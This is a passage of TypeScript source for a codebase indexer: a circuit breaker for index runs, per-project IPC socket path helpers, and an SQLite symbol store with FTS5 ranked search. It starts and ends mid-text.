number;\n}\n\n/** Thrown when a run is rejected because the circuit is open. */\nexport class CircuitOpenError extends Error {\n override readonly name = 'CircuitOpenError';\n}\n\n/** Thrown by the background indexer's watchdog when a run exceeds its timeout. */\nexport class IndexTimeoutError extends Error {\n override readonly name = 'IndexTimeoutError';\n}\n\n/**\n * Thrown when an SQLite operation fails with a lock conflict (SQLITE_BUSY or\n * SQLITE_LOCKED) even after all retry attempts are exhausted.\n *\n * The circuit breaker does **not** count `LockError` as a failure \u2014 a lock\n * conflict means another writer is active, not that this indexer is broken.\n * The caller should treat it as a transient failure and retry later.\n */\nexport class LockError extends Error {\n override readonly name = 'LockError';\n}\n\nexport interface CircuitBreakerOptions {\n /** Consecutive failures before the circuit opens. Default: 3. */\n failureThreshold?: number | undefined;\n /** How long an open circuit rejects requests before allowing a probe. Default: 60s. */\n cooldownMs?: number | undefined;\n /** Injectable clock for tests. Default: Date.now. */\n now?: (() => number) | undefined;\n}\n\nexport class IndexCircuitBreaker {\n private readonly failureThreshold: number;\n private readonly cooldownMs: number;\n private readonly now: () => number;\n\n private state: CircuitState = 'closed';\n private consecutiveFailures = 0;\n private openedAt = 0;\n private lastFailure: string | null = null;\n private probeInFlight = false;\n\n constructor(opts: CircuitBreakerOptions = {}) {\n this.failureThreshold = opts.failureThreshold ?? 3;\n this.cooldownMs = opts.cooldownMs ?? 60_000;\n this.now = opts.now ?? Date.now;\n }\n\n /**\n * True when a run may proceed. An open circuit transitions to half-open once\n * the cooldown has elapsed, admitting exactly one probe; further requests\n * are rejected until that probe settles via recordSuccess/recordFailure.\n */\n allowRequest(): boolean {\n if (this.state === 'closed') return true;\n if (this.state === 'open') {\n if (this.now() - this.openedAt < this.cooldownMs) return false;\n this.state = 'half-open';\n this.probeInFlight = true;\n return true;\n }\n // half-open: admit only one probe at a time.\n if (this.probeInFlight) return false;\n this.probeInFlight = true;\n return true;\n }\n\n recordSuccess(): void {\n this.state = 'closed';\n this.consecutiveFailures = 0;\n this.lastFailure = null;\n this.probeInFlight = false;\n }\n\n recordFailure(err: unknown): void {\n // LockError means \"another process is writing \u2014 try again later\", not a\n // broken indexer. Do not count it against the failure threshold.\n if (err instanceof LockError) {\n this.lastFailure = `[transient/lock] ${err.message}`;\n this.probeInFlight = false;\n return;\n }\n this.lastFailure = err instanceof Error ? err.message : String(err);\n this.probeInFlight = false;\n this.consecutiveFailures++;\n if (this.state === 'half-open' || this.consecutiveFailures >= this.failureThreshold) {\n this.state = 'open';\n this.openedAt = this.now();\n }\n }\n\n /** Force-close the circuit (manual recovery: `/codebase-reindex`). */\n reset(): void {\n this.state = 'closed';\n this.consecutiveFailures = 0;\n this.lastFailure = null;\n this.probeInFlight = false;\n this.openedAt = 0;\n }\n\n snapshot(): CircuitSnapshot {\n return {\n state: this.state,\n consecutiveFailures: this.consecutiveFailures,\n lastFailure: this.lastFailure,\n cooldownRemainingMs:\n this.state === 'open' ? Math.max(0, this.cooldownMs - (this.now() - this.openedAt)) : 0,\n };\n }\n}\n\n/**\n * Process-wide breaker shared by every index path (startup scan, per-edit\n * incremental, external watcher, the `codebase-index` tool). Module-level for\n * the same reason the mutex is: there is one `index.db` per project and one\n * indexing pipeline per process.\n */\nexport const indexCircuitBreaker = new IndexCircuitBreaker();\n\n/** Reset the shared breaker \u2014 used by `/codebase-reindex` and tests. */\nexport function resetIndexCircuitBreaker(): void {\n indexCircuitBreaker.reset();\n}\n", "import { createHash } from 'node:crypto';\nimport * as fs from 'node:fs';\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { assertUnixSocketPathWithinLimit } from '@wrongstack/core/utils';\nimport { resolveIndexDir } from './writer.js';\n\nexport const PROJECT_INDEX_SERVER_PROTOCOL_VERSION = 1;\nexport const PROJECT_INDEX_SERVER_METADATA_FILE = 'server.json';\n/**\n * Short directory name that owns the per-project Unix socket on Linux.\n *\n * The directory is created `0o700` by `ensureProjectIndexSocketDirectory`: on\n * multi-user Linux `/tmp` the kernel's sticky bit otherwise lets a local\n * attacker pre-bind a predictable socket name (project paths are guessable\n * via the public `buildId` handshake), hijacking clients whose `bind()` hits\n * EADDRINUSE. macOS is unaffected because each user already has a private\n * TMPDIR, so the subdirectory adds no extra ownership boundary there.\n *\n * The name is kept short to stay under the 103-byte `sun_path` cap on macOS\n * (48 bytes of `/var/folders/<xx>/<30 chars>/T` + 8 + 24 + 5 = 85 bytes).\n */\nexport const PROJECT_INDEX_SERVER_SOCKET_DIR = `wsci-v${PROJECT_INDEX_SERVER_PROTOCOL_VERSION}`;\n\nlet buildIdCache:\n | {\n file: string;\n mtimeMs: number;\n size: number;\n buildId: string;\n }\n | undefined;\n\n/**\n * Content identity for the actual server artifact.\n *\n * Package versions do not change during a local rebuild, so the handshake\n * hashes the resolved `project-server.js` itself. The stat guard avoids\n * re-reading the bundle on every reconnect while still noticing a rebuild in a\n * long-lived client process.\n */\nexport function projectIndexServerBuildId(entrypoint: string | URL): string {\n const file =\n entrypoint instanceof URL || entrypoint.startsWith('file:')\n ? fileURLToPath(entrypoint)\n : path.resolve(entrypoint);\n try {\n const stat = fs.statSync(file);\n if (\n buildIdCache?.file === file &&\n buildIdCache.mtimeMs === stat.mtimeMs &&\n buildIdCache.size === stat.size\n ) {\n return buildIdCache.buildId;\n }\n const buildId = createHash('sha256').update(fs.readFileSync(file)).digest('hex').slice(0, 24);\n buildIdCache = { file, mtimeMs: stat.mtimeMs, size: stat.size, buildId };\n return buildId;\n } catch {\n // Both sides resolve the same artifact path. This fallback keeps exotic\n // read-only packagers usable, though normal builds always take the hash.\n return `unreadable:${path.basename(file)}`;\n }\n}\n\nfunction normalizeLocalPath(value: string): string {\n const resolved = path.resolve(value);\n return process.platform === 'win32' ? resolved.toLowerCase() : resolved;\n}\n\n/**\n * Local project identity used by the index transport.\n *\n * The index directory is authoritative rather than the cross-machine project\n * id: worktrees and local clones may share a project id while requiring\n * physically separate SQLite indexes.\n */\nexport function projectIndexServerKey(projectRoot: string, indexDir?: string): string {\n const resolvedIndexDir = normalizeLocalPath(resolveIndexDir(projectRoot, indexDir));\n return createHash('sha256').update(resolvedIndexDir).digest('hex').slice(0, 24);\n}\n\n/**\n * Deterministic per-project local IPC endpoint.\n *\n * The Unix layout places the socket inside a short `wsci-v1/` subdirectory of\n * the temp dir: macOS's per-user TMPDIR is ~48 bytes of\n * `/var/folders/<xx>/<30 chars>/T`, and `sun_path` caps the whole socket path\n * at 104 bytes including the NUL on macOS/BSD (108 on Linux). The previous\n * `wrongstack-codebase-index-v1/<key>.sock` subdirectory layout came to ~107\n * bytes there, so `bind()` failed with ENAMETOOLONG inside a detached child\n * whose stderr was discarded \u2014 clients saw only a 10s connect timeout. The\n * short `wsci-v1/` subdirectory stays well under both limits (85 bytes on the\n * worst-case macOS TMPDIR) and restores the `0o700` ownership boundary the\n * flat layout lost on multi-user Linux `/tmp`. The pipe name keeps the long\n * prefix because named pipes have no such limit.\n */\nexport function projectIndexServerEndpoint(projectRoot: string, indexDir?: string): string {\n const key = projectIndexServerKey(projectRoot, indexDir);\n if (process.platform === 'win32') {\n return `\\\\\\\\.\\\\pipe\\\\wrongstack-codebase-index-v${PROJECT_INDEX_SERVER_PROTOCOL_VERSION}-${key}`;\n }\n // Derivation stays pure: clients need the endpoint VALUE to report or\n // degrade on an unbindable path (`resolveProjectIndexDaemonAvailability`,\n // connection-state probes). The hard length assert lives at bind time in\n // `ensureProjectIndexSocketDirectory`, platform-aware via the shared helper.\n return path.join(os.tmpdir(), PROJECT_INDEX_SERVER_SOCKET_DIR, `${key}.sock`);\n}\n\nexport function projectIndexServerMetadataPath(projectRoot: string, indexDir?: string): string {\n return path.join(\n path.resolve(resolveIndexDir(projectRoot, indexDir)),\n PROJECT_INDEX_SERVER_METADATA_FILE,\n );\n}\n\nexport function ensureProjectIndexSocketDirectory(endpoint: string): void {\n if (process.platform !== 'win32') {\n // Fail fast with an actionable message: an over-long sun_path would\n // otherwise surface as ENAMETOOLONG/EINVAL inside a detached child whose\n // stderr is discarded, leaving clients a bare 10s connect timeout.\n assertUnixSocketPathWithinLimit(endpoint, 'codebase-index');\n fs.mkdirSync(path.dirname(endpoint), { recursive: true, mode: 0o700 });\n }\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\n/**\n * SQLite storage layer for the codebase index.\n *\n * Uses `node:sqlite` (synchronous API \u2014 DatabaseSync class).\n * Database file: ~/.wrongstack/projects/<hash>/codebase-index/index.db \u2014 kept\n * out of the repo so it never clutters the working tree or needs gitignoring.\n *\n * ### Multi-process safety\n *\n * Several wstack surfaces (TUI, WebUI, parallel terminals) share this per-project\n * database. WAL mode allows concurrent reads alongside a writer, and\n * `busy_timeout` bounds how long a write operation waits for the lock. When\n * the timeout expires and SQLite returns SQLITE_BUSY, the store retries with\n * exponential backoff (up to 3 attempts) before letting the error propagate.\n * If all retries are exhausted, a {@link LockError} is thrown \u2014 the circuit\n * breaker treats this as a transient condition and does NOT count it as a failure.\n */\n\nimport * as fs from 'node:fs';\nimport * as path from 'node:path';\nimport type { DatabaseSync } from 'node:sqlite';\nimport { type Bm25Index, buildBm25Index, buildIndexableText, tokenise } from './bm25.js';\nimport { lspKindToInternalKind } from './lsp-kind.js';\nimport type {\n CodeMapGraph,\n FileMeta,\n IndexStats,\n Symbol as IndexSymbol,\n Ref,\n SearchResult,\n SymbolKind,\n SymbolLang,\n} from './schema.js';\nimport { SCHEMA_VERSION } from './schema.js';\nimport { loadDatabaseSync, runSqliteWithRetry } from './sqlite-runtime.js';\nimport {\n getAllFileMetasWithStatement,\n getAllIndexableWithStatement,\n getFileMetaWithStatement,\n getMaxSymbolIdWithStatement,\n getMetadataWithStatement,\n getStatsWithStatement,\n} from './writer-admin.js';\nimport {\n type BulkSymbolRow,\n bulkInsertFtsWithStatement,\n bulkInsertRefsWithStatement,\n bulkInsertSymbolsWithStatement,\n} from './writer-bulk-insert.js';\nimport {\n findRefsFromWithStatement,\n findRefsToWithStatement,\n getFileGraphWithStatement,\n getPackageGraphWithStatement,\n getSymbolGraphWithStatement,\n} from './writer-graph-reader.js';\nimport { assignRefsToSymbols, escapeLike, resolveIndexDir } from './writer-helpers.js';\nimport { applyIndexStorePragmas } from './writer-pragmas.js';\nimport {\n CORE_TABLES_SQL,\n METADATA_TABLE_SQL,\n REFS_INDEX_SQL,\n REFS_TABLE_SQL,\n SYMBOL_INDEX_SQL,\n SYMBOLS_FTS_SQL,\n} from './writer-schema.js';\nimport {\n buildWriterSearchWhere,\n mapWriterSearchRow,\n normalizeSearchLimit,\n type WriterSearchFilter,\n type WriterSearchRow,\n} from './writer-search-helpers.js';\nimport { StorePool } from './writer-store-pool.js';\n\nexport { codebaseIndexDirOverride, resolveIndexDir } from './writer-helpers.js';\nexport { StorePool } from './writer-store-pool.js';\n\nconst DB_FILE = 'index.db';\n\nexport class IndexStore {\n private db: DatabaseSync;\n /** Absolute path to this project's index directory. */\n private readonly indexDir: string;\n /**\n * True when the SQLite build provides FTS5 (Node's bundled SQLite does).\n * When false, ranked search falls back to the LIKE + in-process BM25 path.\n */\n private ftsAvailable = false;\n\n /**\n * Cache of prepared statements keyed by their SQL text. `DatabaseSync`\n * compiles SQL on every `.prepare()` call; for the fixed-SQL methods\n * (upsertFile, getFileMeta, deleteFile, insertRefs, \u2026) that runs thousands\n * of times during a full reindex. `StatementSync` objects are reusable\n * across calls on the same connection, so we compile each distinct SQL once\n * and reuse it. Cleared in {@link close} when the connection is torn down.\n */\n private readonly stmtCache = new Map<string, ReturnType<DatabaseSync['prepare']>>();\n /**\n * Cached full-corpus BM25 index for the FTS5-unavailable fallback path.\n * Built lazily on the first `searchRankedFallback` call and invalidated\n * (via `bm25Dirty`) whenever the `symbols` table is mutated. Computing\n * IDF over the full corpus is also more correct than the old per-query\n * candidate-subset IDF.\n *\n * Cache-lifecycle invariants (single source of truth lives at the\n * `invalidateBm25()` helper \u2014 see its docblock for the \"every mutation\n * MUST call this\" contract):\n * - declaration: this field + `bm25Dirty` (here)\n * - invalidation: `invalidateBm25()` flips the flag and nulls the cache\n * - build: `getOrBuildBm25()` rebuilds against current `symbols` rows\n * - teardown: `close()` resets the flag and nulls the cache\n */\n private bm25Cache: Bm25Index | null = null;\n // Dirty on open so the first getOrBuildBm25() rebuilds against current rows;\n // an empty or pre-existing corpus makes a stale IDF table meaningless.\n private bm25Dirty = true;\n\n /** Prepare-once helper: compile `sql` on first use, reuse thereafter. */\n private stmt(sql: string): ReturnType<DatabaseSync['prepare']> {\n let s = this.stmtCache.get(sql);\n if (s === undefined) {\n s = this.db.prepare(sql);\n this.stmtCache.set(sql, s);\n }\n return s;\n }\n\n constructor(projectRoot: string, opts: { indexDir?: string | undefined } = {}) {\n this.indexDir = resolveIndexDir(projectRoot, opts.indexDir);\n fs.mkdirSync(this.indexDir, { recursive: true });\n const Database = loadDatabaseSync();\n this.db = new Database(path.join(this.indexDir, DB_FILE));\n applyIndexStorePragmas(this.db);\n this.initSchema();\n }\n\n runWithRetry<T>(fn: () => T): T {\n return runSqliteWithRetry(fn);\n }\n\n private initSchema(): void {\n this.db.exec(METADATA_TABLE_SQL);\n\n // Schema migration: the index is derived, rebuildable data \u2014 on any\n // version mismatch we drop everything and let the next index run repopulate\n // from source, instead of maintaining per-version migration scripts.\n const storedRows = this.stmt('SELECT value FROM metadata WHERE key = ?').all('version') as {\n value: string;\n }[];\n const storedVersion = storedRows.length ? Number(storedRows[0]?.value) : null;\n if (storedVersion !== null && storedVersion !== SCHEMA_VERSION) {\n this.db.exec(`\n DROP TABLE IF EXISTS symbols;\n DROP TABLE IF EXISTS files;\n DROP TABLE IF EXISTS refs;\n `);\n this.db.exec('DROP TABLE IF EXISTS symbols_fts');\n this.stmt('UPDATE metadata SET value = ? WHERE key = ?').run(\n String(SCHEMA_VERSION),\n 'version',\n );\n } else if (storedVersion === null) {\n this.stmt('INSERT INTO metadata(key, value) VALUES (?, ?)').run(\n 'version',\n String(SCHEMA_VERSION),\n );\n }\n\n this.db.exec(CORE_TABLES_SQL);\n for (const sql of SYMBOL_INDEX_SQL) this.db.exec(sql);\n this.db.exec(REFS_TABLE_SQL);\n for (const sql of REFS_INDEX_SQL) this.db.exec(sql);\n\n // FTS5 full-text index over the camelCase-split symbol text; rowid is the\n // symbol id. Replaces the old `LIKE '%token%'` full-table scan + per-query\n // in-process BM25 build: MATCH uses the inverted index and bm25() ranks\n // natively. Kept in sync explicitly in insertSymbols/delete*/clearAll.\n try {\n this.db.exec(SYMBOLS_FTS_SQL);\n this.ftsAvailable = true;\n // A database may have been populated by a runtime without FTS5. Backfill\n // the derived table when FTS later becomes available instead of making\n // every historical symbol invisible until a forced rebuild.\n const symbolCount = Number(\n (this.stmt('SELECT COUNT(*) AS n FROM symbols').get() as { n?: number } | undefined)?.n ??\n 0,\n );\n const ftsCount = Number(\n (this.stmt('SELECT COUNT(*) AS n FROM symbols_fts').get() as { n?: number } | undefined)\n ?.n ?? 0,\n );\n if (symbolCount !== ftsCount) {\n this.db.exec('DELETE FROM symbols_fts');\n const rows = this.stmt(\n 'SELECT id, name, signature, doc_comment FROM symbols ORDER BY id',\n ).all() as Array<{ id: number; name: string; signature: string; doc_comment: string }>;\n bulkInsertFtsWithStatement(\n (sql) => this.stmt(sql),\n IndexStore.MAX_SQL_VARS,\n this.ftsAvailable,\n rows.map((row) => ({\n id: row.id,\n text: buildIndexableText(row.name, row.signature, row.doc_comment),\n })),\n );\n // The drift repair doesn't mutate `symbols`, but the drift may have\n // been caused by an external mutation that left the BM25 cache stale.\n // Invalidate so the next fallback search rebuilds from the repaired\n // FTS state rather than serving a frozen corpus.\n this.invalidateBm25();\n }\n } catch {\n // SQLite built without FTS5 \u2014 searchRanked falls back to LIKE + BM25.\n this.ftsAvailable = false;\n }\n\n // Seed the symbol-id sequence once. Subsequent allocations are O(1)\n // metadata updates instead of SELECT MAX(id) on every insert batch.\n this.ensureNextSymbolIdSeeded();\n }\n\n // \u2500\u2500\u2500 ID allocation & bulk helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n private static readonly NEXT_SYMBOL_ID_KEY = 'next_symbol_id';\n /** Stay under typical SQLite SQLITE_MAX_VARIABLE_NUMBER (often 999). */\n private static readonly MAX_SQL_VARS = 900;\n\n /**\n * Ensure `metadata.next_symbol_id` exists. Safe to call outside a write\n * transaction on open; the first concurrent writer under BEGIN IMMEDIATE\n * re-reads and advances the counter atomically.\n */\n private ensureNextSymbolIdSeeded(): void {\n const existing = this.stmt('SELECT value FROM metadata WHERE key = ?').get(\n IndexStore.NEXT_SYMBOL_ID_KEY,\n ) as { value?: string } | undefined;\n if (existing?.value !== undefined) return;\n const maxRows = this.stmt('SELECT MAX(id) AS m FROM symbols').all() as {\n m: number | null;\n }[];\n const next = (maxRows[0]?.m ?? 0) + 1;\n this.stmt('INSERT OR REPLACE INTO metadata(key, value) VALUES (?, ?)').run(\n IndexStore.NEXT_SYMBOL_ID_KEY,\n String(next),\n );\n }\n\n /**\n * Reserve `count` consecutive symbol ids. MUST run inside BEGIN IMMEDIATE\n * so concurrent indexers cannot hand out overlapping ranges.\n */\n private allocateSymbolIds(count: number): number {\n if (count <= 0) return this.getMaxSymbolId() + 1;\n this.ensureNextSymbolIdSeeded();\n const row = this.stmt('SELECT value FROM metadata WHERE key = ?').get(\n IndexStore.NEXT_SYMBOL_ID_KEY,\n ) as { value?: string } | undefined;\n const start = Math.max(1, Number(row?.value ?? 1) || 1);\n this.stmt('INSERT OR REPLACE INTO metadata(key, value) VALUES (?, ?)').run(\n IndexStore.NEXT_SYMBOL_ID_KEY,\n String(start + count),\n );\n return start;\n }\n\n /**\n * Disconnect inbound refs before their target symbols are replaced and\n * return the affected names for scoped re-resolution.\n *\n * This also repairs a long-standing dangling-id edge case: `refs.to_id` has\n * no physical FK, so deleting a symbol previously left callers pointing at a\n * non-existent row.\n */\n private invalidateIncomingRefsForFiles(files: string[]): string[] {\n if (files.length === 0) return [];\n const placeholders = files.map(() => '?').join(',');\n const names = (\n this.stmt(`SELECT DISTINCT name FROM symbols WHERE file IN (${placeholders})`).all(\n ...files,\n ) as Array<{ name: string }>\n ).map((row) => row.name);\n this.stmt(\n `UPDATE refs SET to_id = NULL\n WHERE to_id IN (SELECT id FROM symbols WHERE file IN (${placeholders}))`,\n ).run(...files);\n return names;\n }\n\n /** Resolve only refs whose target names may have changed. */\n private resolveRefsForNamesUnsafe(names: Iterable<string>): number {\n const unique = [...new Set(names)].filter(Boolean);\n let changes = 0;\n for (let start = 0; start < unique.length; start += IndexStore.MAX_SQL_VARS) {\n const chunk = unique.slice(start, start + IndexStore.MAX_SQL_VARS);\n const placeholders = chunk.map(() => '?').join(',');\n const result = this.stmt(\n `UPDATE refs\n SET to_id = (SELECT MIN(id) FROM symbols WHERE name = refs.to_name)\n WHERE to_name IN (${placeholders})`,\n ).run(...chunk) as { changes?: number };\n changes += result.changes ?? 0;\n }\n return changes;\n }\n\n // \u2500\u2500\u2500 Symbol CRUD \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n /**\n * Insert symbols, assigning IDs atomically inside `BEGIN IMMEDIATE` /\n * `COMMIT`. Id ranges come from the `next_symbol_id` metadata counter\n * (O(1)); multi-row INSERT amortizes bind overhead for large files.\n *\n * @returns The symbols array with `id` fields populated so the caller can\n * use them for refs without re-reading from the DB.\n */\n insertSymbols(symbols: IndexSymbol[]): IndexSymbol[] {\n this.invalidateBm25();\n return this.runWithRetry(() => {\n // BEGIN IMMEDIATE serializes writers so allocateSymbolIds cannot overlap.\n this.db.exec('BEGIN IMMEDIATE');\n try {\n let nextId = this.allocateSymbolIds(symbols.length);\n const result: IndexSymbol[] = [];\n const bulk: BulkSymbolRow[] = [];\n const ftsRows: Array<{ id: number; text: string }> = [];\n\n for (const s of symbols) {\n const id = nextId++;\n bulk.push({\n id,\n lang: s.lang,\n kind: s.kind,\n name: s.name,\n file: s.file,\n line: s.line,\n col: s.col,\n signature: s.signature,\n docComment: s.docComment,\n scope: s.scope,\n text: s.text,\n });\n if (this.ftsAvailable) {\n ftsRows.push({ id, text: buildIndexableText(s.name, s.signature, s.docComment) });\n }\n result.push({ ...s, id });\n }\n bulkInsertSymbolsWithStatement((sql) => this.stmt(sql), IndexStore.MAX_SQL_VARS, bulk);\n bulkInsertFtsWithStatement(\n (sql) => this.stmt(sql),\n IndexStore.MAX_SQL_VARS,\n this.ftsAvailable,\n ftsRows,\n );\n\n this.db.exec('COMMIT');\n return result;\n } catch (err) {\n this.db.exec('ROLLBACK');\n throw err;\n }\n });\n }\n\n deleteSymbolsForFile(file: string): void {\n this.invalidateBm25();\n this.runWithRetry(() => {\n this.db.exec('BEGIN IMMEDIATE');\n try {\n const affectedNames = this.invalidateIncomingRefsForFiles([file]);\n if (this.ftsAvailable) {\n this.stmt(\n 'DELETE FROM symbols_fts WHERE rowid IN (SELECT id FROM symbols WHERE file_fk = ?)',\n ).run(file);\n }\n this.stmt('DELETE FROM symbols WHERE file_fk = ?').run(file);\n this.resolveRefsForNamesUnsafe(affectedNames);\n this.db.exec('COMMIT');\n } catch (error) {\n this.db.exec('ROLLBACK');\n throw error;\n }\n });\n }\n\n /**\n * Remove every trace of a file (refs, symbols, FTS rows, file meta). Used\n * when a source file disappears between index runs \u2014 previously this only\n * dropped the `files` row, leaving its symbols orphaned but still searchable.\n */\n deleteFile(file: string): void {\n this.invalidateBm25();\n this.runWithRetry(() => {\n this.db.exec('BEGIN IMMEDIATE');\n try {\n const affectedNames = this.invalidateIncomingRefsForFiles([file]);\n if (this.ftsAvailable) {\n this.stmt(\n 'DELETE FROM symbols_fts WHERE rowid IN (SELECT id FROM symbols WHERE file_fk = ?)',\n ).run(file);\n }\n this.stmt(\n 'DELETE FROM refs WHERE from_id IN (SELECT id FROM symbols WHERE file_fk = ?)',\n ).run(file);\n this.stmt('DELETE FROM symbols WHERE file_fk = ?').run(file);\n this.stmt('DELETE FROM files WHERE file = ?').run(file);\n this.resolveRefsForNamesUnsafe(affectedNames);\n this.db.exec('COMMIT');\n } catch (err) {\n this.db.exec('ROLLBACK');\n throw err;\n }\n });\n }\n\n // \u2500\u2500\u2500 File metadata \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n upsertFile(meta: FileMeta): void {\n this.runWithRetry(() => {\n this.stmt(\n `INSERT INTO files(file, lang, mtime_ms, symbol_count, last_indexed)\n VALUES (?, ?, ?, ?, ?)\n ON CONFLICT(file) DO UPDATE SET\n lang = excluded.lang,\n mtime_ms = excluded.mtime_ms,\n symbol_count = excluded.symbol_count,\n last_indexed = excluded.last_indexed`,\n ).run(meta.file, meta.lang, meta.mtimeMs, meta.symbolCount, meta.lastIndexed);\n });\n }\n\n getFileMeta(file: string): FileMeta | null {\n return getFileMetaWithStatement((sql) => this.stmt(sql), file);\n }\n\n getAllFileMetas(): FileMeta[] {\n return getAllFileMetasWithStatement((sql) => this.stmt(sql));\n }\n\n // \u2500\u2500\u2500 Search \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n search(\n query: string,\n filter?: WriterSearchFilter,\n opts?: { limit?: number | undefined },\n ): SearchResult[] {\n const built = this.buildSearchWhere(query, filter);\n if (built === null) return [];\n\n const { where, values } = built;\n const limit = normalizeSearchLimit(opts?.limit);\n const limitSql = limit !== undefined ? ' LIMIT ?' : '';\n const sql = `SELECT id, lang, kind, name, file, line, col, signature, doc_comment, text FROM symbols ${where}${limitSql}`;\n\n const binds = limit !== undefined ? [...values, limit] : values;\n const rows = this.stmt(sql).all(\n ...(binds as (string | number)[]),\n ) as unknown as WriterSearchRow[];\n\n return rows.map((row) => mapWriterSearchRow(row, filter?.lspKind));\n }\n\n /** Shared WHERE builder for {@link search} / empty-query ranked totals. */\n private buildSearchWhere(query: string, filter?: WriterSearchFilter | undefined) {\n return buildWriterSearchWhere(query, filter);\n }\n\n private countSearch(query: string, filter?: WriterSearchFilter | undefined): number {\n const built = this.buildSearchWhere(query, filter);\n if (built === null) return 0;\n const row = this.stmt(`SELECT COUNT(*) AS n FROM symbols ${built.where}`).get(\n ...(built.values as (string | number)[]),\n ) as { n?: number } | undefined;\n return Number(row?.n ?? 0);\n }\n\n /**\n * Ranked search \u2014 the one-stop query the codebase-search tool and plug-lsp\n * use. With FTS5 this is a single indexed `MATCH` ranked by SQLite's native\n * `bm25()` with a built-in `snippet()`; without FTS5 it falls back to the\n * legacy LIKE scan + in-process BM25 (identical semantics, slower).\n *\n * Tokens are matched as prefixes (`\"tok\"*`), mirroring the old\n * `LIKE '%tok%'` recall for the common symbol-search shapes (\"user\" finds\n * \"users\", camelCase-split text makes \"complex\" find \"complexOperation\").\n */\n searchRanked(\n query: string,\n filter: WriterSearchFilter | undefined,\n limit: number,\n ): { results: SearchResult[]; total: number } {\n const rawLimit = Number.isFinite(limit) ? Math.trunc(limit) : 20;\n const safeLimit = Math.max(1, Math.min(rawLimit, 100));\n const tokens = tokenise(query);\n // No usable tokens \u2192 plain filtered listing (matches old `search('')`).\n if (tokens.length === 0 || !this.ftsAvailable) {\n return this.searchRankedFallback(query, filter, safeLimit);\n }\n\n let effectiveKind: SymbolKind | undefined = filter?.kind;\n if (filter?.lspKind !== undefined) {\n const mapped = lspKindToInternalKind(filter.lspKind);\n if (mapped === null) return { results: [], total: 0 };\n effectiveKind = mapped;\n }\n\n // Each token is quoted (neutralises FTS5 query syntax) and prefix-starred.\n const match = tokens.map((t) => `\"${t.replaceAll('\"', '')}\"*`).join(' OR ');\n\n const conditions: string[] = ['symbols_fts MATCH ?'];\n const values: (string | number)[] = [match];\n if (effectiveKind) {\n conditions.push('s.kind = ?');\n values.push(effectiveKind);\n }\n if (filter?.lang) {\n conditions.push('s.lang = ?');\n values.push(filter.lang);\n }\n if (filter?.file) {\n conditions.push(\"replace(s.file, '\\\\', '/') LIKE ? ESCAPE '\\\\'\");\n values.push(`%${escapeLike(filter.file.replace(/\\\\/g, '/'))}%`);\n }\n const where = conditions.join(' AND ');\n\n const countRows = this.stmt(\n `SELECT COUNT(*) AS n FROM symbols_fts JOIN symbols s ON s.id = symbols_fts.rowid WHERE ${where}`,\n ).all(...values) as { n: number }[];\n const total = countRows[0] ? Number(countRows[0].n) : 0;\n if (total === 0) return { results: [], total: 0 };\n\n const rows = this.stmt(\n `SELECT s.id, s.lang, s.kind, s.name, s.file, s.line, s.col, s.signature, s.doc_comment,\n -bm25(symbols_fts) AS score,\n snippet(symbols_fts, 0, '', '', '\u2026', 12) AS snippet\n FROM symbols_fts JOIN symbols s ON s.id = symbols_fts.rowid\n WHERE ${where}\n ORDER BY\n CASE WHEN lower(s.name) = lower(?) THEN 0\n WHEN lower(s.name) LIKE lower(?) ESCAPE '\\\\' THEN 1\n ELSE 2 END,\n bm25(symbols_fts), lower(s.name), s.file, s.line, s.col, s.id\n LIMIT ?`,\n ).all(...values, query.trim(), `${escapeLike(query.trim())}%`, safeLimit) as {\n id: number;\n lang: string;\n kind: string;\n name: string;\n file: string;\n line: number;\n col: number;\n signature: string;\n doc_comment: string;\n score: number;\n snippet: string;\n }[];\n\n return {\n results: rows.map((row) =>\n mapWriterSearchRow(row, filter?.lspKind, Math.max(0.0001, row.score), row.snippet),\n ),\n total,\n };\n }\n\n /**\n * Invalidate the cached BM25 index.\n *\n * **Contract: every method that mutates `symbols` MUST call this before\n * returning.** (`refs` mutations do not affect the BM25 fallback because\n * the corpus is built from `symbols.text` via `getAllIndexable()` and the\n * BM25 score is filtered by the LIKE-selected candidate set in\n * `searchRankedFallback`.) Today the call sites are `repairDrift`,\n * `insertSymbols`, `deleteSymbolsForFile`, `deleteFile`, `clearAll`, and\n * `commitBatch`. A future mutation that adds a new write path (e.g.\n * `renameFile`, `updateSignature`) MUST also call this \u2014 otherwise the\n * FTS5-unavailable fallback will serve stale search results. The\n * `close()` reset at L1820-1821 tears the cache down on store shutdown,\n * which is the only legitimate place that flips the flag outside this\n * helper.\n *\n * Called *before* `runWithRetry` on purpose: if the write fails all\n * retries the flag stays set, forcing a rebuild on the next search rather\n * than trusting a cache that may not reflect 